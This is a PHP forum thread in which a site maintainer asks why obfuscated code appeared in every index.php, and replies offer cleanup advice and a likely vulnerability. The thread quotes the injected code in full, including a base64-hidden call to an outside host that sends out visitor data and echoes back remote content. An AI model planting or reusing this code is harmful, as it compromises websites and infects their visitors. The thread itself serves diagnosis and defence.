Jump to content

Recommended Posts

The code below was inserted into every single index.php on one of my clients sites.  It went through and every single index.php page (in each folder) had that following code put in.  It was

strange. As far as I can tell there are no FTP logs, besides my own IP.  This site was heavily built by someone else, I have been enhancing the system for a few months but it hasn't undergone a

full security audit yet.  What could have caused this. The weird thing is it's not loading it into the very top of the file..the security.inc.php is my file..and somehow they always get inserted below that file. But the <?

is inserted right after it.  I also don't use generally the <? shorthand, that was his previous code..but that entire <? block that has the hack attempt is very strange.

 

Any advice on how this is generally done, and anyone with similar issues?

<? require_once('security.inc.php'); ?><?
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

Link to comment
https://forums.phpfreaks.com/topic/254434-website-hackedstrange/
Share on other sites

Not "Mine" but from the previous developer. It just performs the checks to make sure they are logged in, it's on every page of the site. On some pages I had added database.inc.php. 

So that security hack was entered under neath the original security.inc.php hack..which is strange.    Also it says it only afffects google, and oddly..I didn't see the issue in Google Chrome or Firefox..I had to go into IE and see the "Layout" mess up to fix it..then when I did that, I started getting virus detections on Nod32 ESET.  So it was very strange. Any ideas on how to plug the hole? Also the host is currently

Check for any scripts with file uploads that might have a security hole, change your ftp passwords (and really all of them, since they should be changed every X months), and remove the offending code if you haven't already. You might be able to find something within the access/error logs on how they got in.

I once had a virus on one of my network computers that was sniffing network traffic. Because I was using standard FTP, it was stealing my FTP login username and password. Once I took that computer offline, everything was fine. You ought to make sure that your computer, as well as all the computers on your network are clean.

  • 4 weeks later...

I have only just fixed the "index.php" files on all of my clients' WordPress sites.

 

Here's the lowdown:

Almost all were at least version 3.2

  • , one was as old as 2.8 and one was 3.3.1
  • In addition to every "index.php" file that was messed with (with the identical script you posted above), they also hacked the "footer.php" file in each theme.
  • The URL that it sends you to f*ckered my laptop for about 4 days now (only just got things working again) after I got hit with the "System Check" virus as well as the "iexplore.exe" virus (that plays random ads and music while saying your speakers are muted).  SO MUCH FUN.

 

That's about where I'm at now.  I hardly see sweet f*ckall on Google or WordPress about this sh*t, but it's bad, bad news and I'm pretty cheesed off that I so wholeheartedly supported WordPress for years now and it would appear that hackers have targeted my favourite Open Source Code.

  • 9 months later...
  • 2 months later...

This post is a bit old, but for those people looking, it is likely an issue with timthumb.php. See the following link for the best information possible I have found http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/ (if the link did not post look for Mark Maunder zero-day-vulnerability-in-many-wordpress-themes)

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.